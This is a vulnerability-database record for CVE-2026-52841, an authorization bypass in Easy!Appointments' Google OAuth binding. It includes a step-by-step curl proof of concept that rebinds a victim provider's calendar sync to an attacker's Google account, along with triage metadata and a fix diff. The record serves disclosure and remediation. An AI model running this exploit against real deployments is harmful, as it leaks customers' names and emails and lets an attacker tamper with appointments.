{"id":"CVE-2026-52841","kind":"vulnerability","aliases":["CVE-2026-52841","GHSA-8hm4-r66f-29wr"],"related":[],"title":"Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync","description":"### Summary\n\n`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.\n\n### Preconditions\n\n- Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.\n- The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.\n- Default deployment per the project's own `docker-compose.yml`; no non-default flags required.\n\n### Details\n\n```php\n// application/controllers/Google.php:278-289\npublic function oauth(string $provider_id): void\n{\n    if (!$this->session->userdata('user_id')) {\n        show_error('Forbidden', 403);\n    }\n\n    // Store the provider id for use on the callback function.\n    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked\n\n    // Redirect browser to google user content page.\n    header('Location: ' . $this->google_sync->get_auth_url());\n}\n```\n\n```php\n// application/controllers/Google.php:305-337\npublic function oauth_callback(): void\n{\n    if (!session('user_id')) {\n        abort(403, 'Forbidden');\n    }\n\n    $code = request('code');\n    if (empty($code)) { response('Code authorization failed.'); return; }\n\n    $token = $this->google_sync->authenticate($code);\n    if (empty($token)) { response('Token authorization failed.'); return; }\n\n    $oauth_provider_id = session('oauth_provider_id');\n    if ($oauth_provider_id) {\n        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)\n        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)\n        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');\n    } else {\n        response('Sync provider id not specified.');\n    }\n}\n```\n\nThe same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:\n\n```php\n// application/controllers/Google.php:389\nif (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {\n    throw new RuntimeException('You do not have the required permissions for this task.');\n}\n```\n\n`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer's `user_settings` row is overwritten with the attacker's OAuth token and `google_sync` is forcibly enabled.\n\nThe attack chain that delivers the data:\n\n- `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider['settings']['google_sync']` is truthy the handler reads `google_token` from the row - now the attacker's - refreshes it, and calls `Google_sync::add_appointment`.\n- `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.\n- The cron-triggered `Console::sync` -> `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker's calendar.\n- The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (`application/controllers/Google.php:209-254`).\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (see `application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.\n\n4. Log in as `administrator` and persist the cookie jar (the project's session cookie is `ea_session`):\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" > /dev/null\n   ```\n\n5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode 'provider[first_name]=Mal' \\\n     --data-urlencode 'provider[last_name]=Lory' \\\n     --data-urlencode 'provider[email]=mallory@x.test' \\\n     --data-urlencode 'provider[phone_number]=+10000000000' \\\n     --data-urlencode 'provider[timezone]=UTC' \\\n     --data-urlencode 'provider[language]=english' \\\n     --data-urlencode 'provider[settings][username]=mallory' \\\n     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n     --data-urlencode 'provider[settings][notifications]=0'\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'\")\n   ```\n\n6. Log in as the attacker provider into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" > /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider's id `$VICTIM_ID`:\n\n   ```bash\n   curl -si -b $ATTACKER_JAR \"http://localhost/index.php/google/oauth/$VICTIM_ID\" | head -5\n   ```\n\n   Expected: `HTTP/1.1 302 Found` with `Location: https://accounts.google.com/o/oauth2/auth?...` - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6==\"ea_session\"{print $7}' $ATTACKER_JAR)` shows `oauth_provider_id|s:1:\"<VICTIM_ID>\"` appended to the attacker's session data alongside their own `user_id|i:<ATTACKER_ID>`.\n\n2. The attacker copies the `ea_session` cookie from `$ATTACKER_JAR` into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to `http://localhost/index.php/google/oauth_callback?code=...` and the app exchanges the code for an access + refresh token.\n\n3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's `ea_user_settings`:\n\n   ```bash\n   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \\\n     -e \"SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')\"\n   ```\n\n   Expected: `google_sync = 1`, `google_token = {\"access_token\":\"...\",\"refresh_token\":\"...\"}` (attacker's), `google_calendar = primary`.\n\n4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' /tmp/booking.cookies)\n   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"post_data[manage_mode]=false\" \\\n     --data-urlencode \"post_data[appointment][id_users_provider]=$VICTIM_ID\" \\\n     --data-urlencode \"post_data[appointment][id_services]=1\" \\\n     --data-urlencode \"post_data[appointment][start_datetime]=2026-06-01 10:00:00\" \\\n     --data-urlencode \"post_data[appointment][end_datetime]=2026-06-01 10:30:00\" \\\n     --data-urlencode \"post_data[customer][first_name]=Carol\" \\\n     --data-urlencode \"post_data[customer][last_name]=Victim\" \\\n     --data-urlencode \"post_data[customer][email]=carol@target.test\"\n   ```\n\n   Expected: the attacker's Google calendar receives a new event whose title is the service name, with `Carol Victim <carol@target.test>` listed as an attendee.\n\n### Impact\n\n- **Confidentiality:** Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (`Google_sync.php:184-189`).\n- **Integrity:** Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next `Console::sync` removes the local row (`Google.php:186-191`).\n- **Integrity:** Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (`Google.php:209-254`).\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate `select_google_calendar` and `disable_provider_sync` already use.\n\n```diff\n public function oauth(string $provider_id): void\n {\n     if (!$this->session->userdata('user_id')) {\n         show_error('Forbidden', 403);\n     }\n\n+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {\n+        abort(403, 'Forbidden');\n+    }\n+\n     // Store the provider id for use on the callback function.\n     session(['oauth_provider_id' => $provider_id]);\n\n     // Redirect browser to google user content page.\n     header('Location: ' . $this->google_sync->get_auth_url());\n }\n```\n\n### Credit\n\nDredsen, 2026.","summary":"Easy!Appointments lets any logged-in backend user (admin, provider, or secretary) attach their own Google account's OAuth token to another provider's settings, because the provider id is taken from the URL without an ownership check. The victim's booked appointments, including customer names and emails, then sync into the attacker's Google calendar, and the attacker can delete or add the victim's appointments and unavailability.","severity":"low","cvss":3.1,"epss":0.00206,"exploited":false,"exploited_at":null,"products":[{"name":"alextselegidis/easyappointments","fixed":["1.6.1"],"affected":"<= 1.5.2","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["cwe-639","easy-appointments","google-calendar","package","php","self-hosted"],"not_affected_if":["customer-only-access","fixed-1.6.1","no-google-sync"],"how_to_check":"- Check the installed version: `composer show alextselegidis/easyappointments` should report `1.5.2` or earlier to be affected.\n- Look for `application/controllers/Google.php` in the deployment and see whether the `oauth` method checks `cannot('edit', PRIV_USERS)` before storing `oauth_provider_id` in the session.\n- Check whether Google Calendar sync is in use: `google_sync` rows in `ea_user_settings` and `application/config/google.php` configured with OAuth credentials.","fix":"- Easy!Appointments: move to `1.6.1`.","status":"open","published_at":"2026-07-29T16:29:26+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","triaged_at":"2026-11-10T20:05:03+00:00","updated_at":"2026-11-10T20:05:03+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-10T20:05:03Z","model":"claude-haiku-5-5","output":{"fix":"- Easy!Appointments: move to `1.6.1`.","reach":"network","title":"Easy!Appointments: any backend user can rebind a peer provider's Google sync","impact":"medium","summary":"Easy!Appointments lets any logged-in backend user (admin, provider, or secretary) attach their own Google account's OAuth token to another provider's settings, because the provider id is taken from the URL without an ownership check. The victim's booked appointments, including customer names and emails, then sync into the attacker's Google calendar, and the attacker can delete or add the victim's appointments and unavailability.","audience":"businesses","category":"package","nicknames":[],"who_cares":["easy-appointments","php","google-calendar","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"attacker reads customer names and emails and alters provider's appointments","analyst_note":"","how_to_check":"- Check the installed version: `composer show alextselegidis/easyappointments` should report `1.5.2` or earlier to be affected.\n- Look for `application/controllers/Google.php` in the deployment and see whether the `oauth` method checks `cannot('edit', PRIV_USERS)` before storing `oauth_provider_id` in the session.\n- Check whether Google Calendar sync is in use: `google_sync` rows in `ea_user_settings` and `application/config/google.php` configured with OAuth credentials.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["no-google-sync","fixed-1.6.1","customer-only-access"],"who_is_affected":"Any deployment running Easy!Appointments 1.5.2 or earlier that uses Google Calendar sync is exposed, because the flaw sits in the Google OAuth flow. Anyone with a backend login (admin, provider, or secretary) can exploit it; customers cannot. Instances that do not use Google sync, or that run 1.6.1 or later, are not affected.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001285,"input_tokens":9281,"output_tokens":713,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-189':589C '-2026':22A,30A '-289':254C '-337':312C '-52841':23A,31A '-639':34B '184':588C '278':121C,253C '29wr':28A '305':311C '306':554C '389':423C,448C '403':271C,323C '423':430C '44':618C '463':544C '51':526C '8hm4':26A 'abort':322C 'account':63B,171C 'add':109B,580C,584C,590C 'admin':55B,157C,206C,441C 'alextselegidis/easyappointments':32A 'alreadi':406C 'anoth':68B 'application/config/google.php':224C 'application/controllers/booking.php':543C 'application/controllers/calendar.php':553C 'application/controllers/google.php':120C,252C,310C,422C,429C,447C,617C 'application/libraries/google_sync.php':587C 'application/libraries/synchronization.php':525C 'appoint':2A,37B,47B,89B,113B,177C,522C,551C,581C,585C 'attach':59B,192C 'attack':99B,105B,182C,197C,289C,503C,514C,572C 'attacker-chosen':288C 'attende':194C,597C 'auth':307C 'authent':340C 'author':3A,333C,347C 'backend':12A,53B,155C,200C,547C 'bind':9A 'book':88B,530C,538C,540C 'browser':295C 'bypass':4A 'calendar':40B,102B,184C,220C,394C,420C,549C,596C 'call':434C,577C 'callback':134C,280C,316C,476C,482C 'caller':147C,437C 'cannot':213C,450C 'carri':407C 'chain':515C 'check':84B,145C,479C 'chosen':290C 'code':325C,327C,330C,332C,341C 'configur':222C 'consol':610C 'content':299C 'control':173C,405C 'cron':608C 'cron-trigg':607C 'custom':91B,187C,211C,592C 'cve':21A,29A 'cwe':33B 'data':195C,519C 'day':624C,628C 'default':236C,247C 'delet':107B 'deliv':517C 'deploy':227C,237C 'detail':250C 'disabl':425C 'docker-compose.yml':243C 'easi':1A,36B,46B 'easy-appoint':35B 'edit':451C 'els':396C 'email':94B,191C,605C 'empti':329C,343C 'enabl':512C 'encod':383C 'entri':417C 'error':269C 'everi':412C,529C 'exist':621C 'fail':334C,348C 'featur':233C 'first':600C 'flag':248C 'flow':539C 'forbidden':270C,324C 'forcibl':511C 'function':256C,281C,314C 'futur':627C 'gate':410C 'get':306C 'ghsa':25A 'ghsa-8hm4-r66f-29wr':24A 'googl':6A,19A,39B,62B,101B,117C,138C,166C,170C,219C,231C,297C,304C,338C,369C,380C,393C,419C,508C,558C,565C,578C,582C,595C,612C 'google-calendar':38B 'handler':563C 'header':301C 'hold':198C 'host':45B 'i.e':225C 'id':75B,128C,260C,267C,275C,285C,287C,291C,321C,352C,356C,360C,368C,379C,392C,400C,456C,459C,487C,615C 'includ':90B,534C 'instanc':205C,217C 'int':454C,457C 'issu':137C 'json':382C 'last':602C 'let':10A,48B 'locat':302C 'log':51B,153C,214C 'logged-in':50B,152C 'login':201C 'manag':416C 'model':363C,374C,387C 'name':92B,189C,601C,603C 'neither':439C 'new':461C 'non':246C 'non-default':245C 'oauth':7A,65B,118C,133C,139C,221C,257C,283C,315C,350C,354C,358C,366C,377C,390C,473C,475C,485C,505C 'overwritten':500C 'own':148C 'ownership':83B 'packag':41B 'page':300C 'past':623C 'path':533C 'peer':16A,163C,175C,491C,494C 'per':238C 'permiss':469C 'php':42B,251C,309C,446C 'point':488C 'precondit':196C 'primari':395C 'priv':452C 'project':240C 'provid':8A,17A,56B,69B,74B,127C,150C,158C,164C,207C,259C,274C,284C,286C,351C,355C,359C,362C,367C,373C,378C,386C,391C,399C,426C,444C,458C,486C,492C,556C,614C 'public':255C,313C,537C 'push':631C 'r66f':27A 'read':564C 'rebind':14A,161C 'redirect':294C 'refresh':574C 'refus':432C 'regist':541C 'request':326C 'requir':249C,468C 'respons':331C,345C,397C 'return':335C,349C 'right':409C 'role':212C 'row':143C,498C,569C 'run':483C,527C 'runtimeexcept':462C 'save':135C,523C,531C,548C,550C 'secretari':58B,160C,209C 'select':418C 'self':44B 'self-host':43B 'session':131C,264C,282C,319C,353C 'set':71B,364C,365C,375C,376C,388C,389C,497C,557C 'show':268C 'skip':477C 'specifi':402C 'store':122C,272C,292C 'string':258C 'summari':116C 'suppli':126C 'sync':20A,96B,167C,179C,232C,305C,339C,370C,398C,415C,427C,509C,521C,559C,579C,583C,611C,613C,622C,626C 'sync-manag':414C 'synchron':520C 'taken':77B 'target':204C 'task':472C 'throw':460C 'token':66B,140C,336C,344C,346C,381C,384C,506C,566C 'trigger':609C 'true':371C 'truthi':561C 'unauthent':536C 'unavail':115B 'uncheck':293C 'url':80B,125C,308C 'url-suppli':124C 'use':229C,277C 'user':13A,54B,156C,266C,298C,320C,453C,455C,496C 'userdata':265C 'victim':86B,111B 'void':261C,317C 'walk':619C 'window':629C 'without':81B,144C","nicknames":[],"mitigations":[],"who_affected":"Any deployment running Easy!Appointments 1.5.2 or earlier that uses Google Calendar sync is exposed, because the flaw sits in the Google OAuth flow. Anyone with a backend login (admin, provider, or secretary) can exploit it; customers cannot. Instances that do not use Google sync, or that run 1.6.1 or later, are not affected.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["alextselegidiseasyappointments"],"ptokens":["alextselegidis","easyappointments"],"labels":["composer","cwe639","easyappointments","googlecalendar","low","package","php","selfhosted"],"campaign_type":null,"search_a":"'-2026':22A,30A '-52841':23A,31A '29wr':28A '8hm4':26A 'alextselegidis/easyappointments':32A 'appoint':2A 'author':3A 'backend':12A 'bind':9A 'bypass':4A 'cve':21A,29A 'easi':1A 'ghsa':25A 'ghsa-8hm4-r66f-29wr':24A 'googl':6A,19A 'let':10A 'oauth':7A 'peer':16A 'provid':8A,17A 'r66f':27A 'rebind':14A 'sync':20A 'user':13A","search_b":"'-639':34B 'account':63B 'add':109B 'admin':55B 'anoth':68B 'appoint':37B,47B,89B,113B 'attach':59B 'attack':99B,105B 'backend':53B 'book':88B 'calendar':40B,102B 'check':84B 'custom':91B 'cwe':33B 'delet':107B 'easi':36B,46B 'easy-appoint':35B 'email':94B 'googl':39B,62B,101B 'google-calendar':38B 'host':45B 'id':75B 'includ':90B 'let':48B 'log':51B 'logged-in':50B 'name':92B 'oauth':65B 'ownership':83B 'packag':41B 'php':42B 'provid':56B,69B,74B 'secretari':58B 'self':44B 'self-host':43B 'set':71B 'sync':96B 'taken':77B 'token':66B 'unavail':115B 'url':80B 'user':54B 'victim':86B,111B 'without':81B","search_c":"'-189':589C '-289':254C '-337':312C '184':588C '278':121C,253C '305':311C '306':554C '389':423C,448C '403':271C,323C '423':430C '44':618C '463':544C '51':526C 'abort':322C 'account':171C 'add':580C,584C,590C 'admin':157C,206C,441C 'alreadi':406C 'application/config/google.php':224C 'application/controllers/booking.php':543C 'application/controllers/calendar.php':553C 'application/controllers/google.php':120C,252C,310C,422C,429C,447C,617C 'application/libraries/google_sync.php':587C 'application/libraries/synchronization.php':525C 'appoint':177C,522C,551C,581C,585C 'attach':192C 'attack':182C,197C,289C,503C,514C,572C 'attacker-chosen':288C 'attende':194C,597C 'auth':307C 'authent':340C 'author':333C,347C 'backend':155C,200C,547C 'book':530C,538C,540C 'browser':295C 'calendar':184C,220C,394C,420C,549C,596C 'call':434C,577C 'callback':134C,280C,316C,476C,482C 'caller':147C,437C 'cannot':213C,450C 'carri':407C 'chain':515C 'check':145C,479C 'chosen':290C 'code':325C,327C,330C,332C,341C 'configur':222C 'consol':610C 'content':299C 'control':173C,405C 'cron':608C 'cron-trigg':607C 'custom':187C,211C,592C 'data':195C,519C 'day':624C,628C 'default':236C,247C 'deliv':517C 'deploy':227C,237C 'detail':250C 'disabl':425C 'docker-compose.yml':243C 'edit':451C 'els':396C 'email':191C,605C 'empti':329C,343C 'enabl':512C 'encod':383C 'entri':417C 'error':269C 'everi':412C,529C 'exist':621C 'fail':334C,348C 'featur':233C 'first':600C 'flag':248C 'flow':539C 'forbidden':270C,324C 'forcibl':511C 'function':256C,281C,314C 'futur':627C 'gate':410C 'get':306C 'googl':117C,138C,166C,170C,219C,231C,297C,304C,338C,369C,380C,393C,419C,508C,558C,565C,578C,582C,595C,612C 'handler':563C 'header':301C 'hold':198C 'i.e':225C 'id':128C,260C,267C,275C,285C,287C,291C,321C,352C,356C,360C,368C,379C,392C,400C,456C,459C,487C,615C 'includ':534C 'instanc':205C,217C 'int':454C,457C 'issu':137C 'json':382C 'last':602C 'locat':302C 'log':153C,214C 'logged-in':152C 'login':201C 'manag':416C 'model':363C,374C,387C 'name':189C,601C,603C 'neither':439C 'new':461C 'non':246C 'non-default':245C 'oauth':118C,133C,139C,221C,257C,283C,315C,350C,354C,358C,366C,377C,390C,473C,475C,485C,505C 'overwritten':500C 'own':148C 'page':300C 'past':623C 'path':533C 'peer':163C,175C,491C,494C 'per':238C 'permiss':469C 'php':251C,309C,446C 'point':488C 'precondit':196C 'primari':395C 'priv':452C 'project':240C 'provid':127C,150C,158C,164C,207C,259C,274C,284C,286C,351C,355C,359C,362C,367C,373C,378C,386C,391C,399C,426C,444C,458C,486C,492C,556C,614C 'public':255C,313C,537C 'push':631C 'read':564C 'rebind':161C 'redirect':294C 'refresh':574C 'refus':432C 'regist':541C 'request':326C 'requir':249C,468C 'respons':331C,345C,397C 'return':335C,349C 'right':409C 'role':212C 'row':143C,498C,569C 'run':483C,527C 'runtimeexcept':462C 'save':135C,523C,531C,548C,550C 'secretari':160C,209C 'select':418C 'session':131C,264C,282C,319C,353C 'set':364C,365C,375C,376C,388C,389C,497C,557C 'show':268C 'skip':477C 'specifi':402C 'store':122C,272C,292C 'string':258C 'summari':116C 'suppli':126C 'sync':167C,179C,232C,305C,339C,370C,398C,415C,427C,509C,521C,559C,579C,583C,611C,613C,622C,626C 'sync-manag':414C 'synchron':520C 'target':204C 'task':472C 'throw':460C 'token':140C,336C,344C,346C,381C,384C,506C,566C 'trigger':609C 'true':371C 'truthi':561C 'unauthent':536C 'uncheck':293C 'url':125C,308C 'url-suppli':124C 'use':229C,277C 'user':156C,266C,298C,320C,453C,455C,496C 'userdata':265C 'void':261C,317C 'walk':619C 'window':629C 'without':144C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-07-29T16:29:26+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8hm4-r66f-29wr","url":"https://github.com/advisories/GHSA-8hm4-r66f-29wr","severity":"low","published_at":"2026-07-29T16:29:26+00:00","modified_at":"2026-11-10T19:25:42+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","fetched_at":"2026-11-10T19:29:50+00:00","note":null}],"documents":[{"id":117558,"url":"https://api.github.com/repos/alextselegidis/easyappointments/security-advisories/GHSA-8hm4-r66f-29wr","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":117559,"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":117560,"url":"https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117545,"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00206,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-52841"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}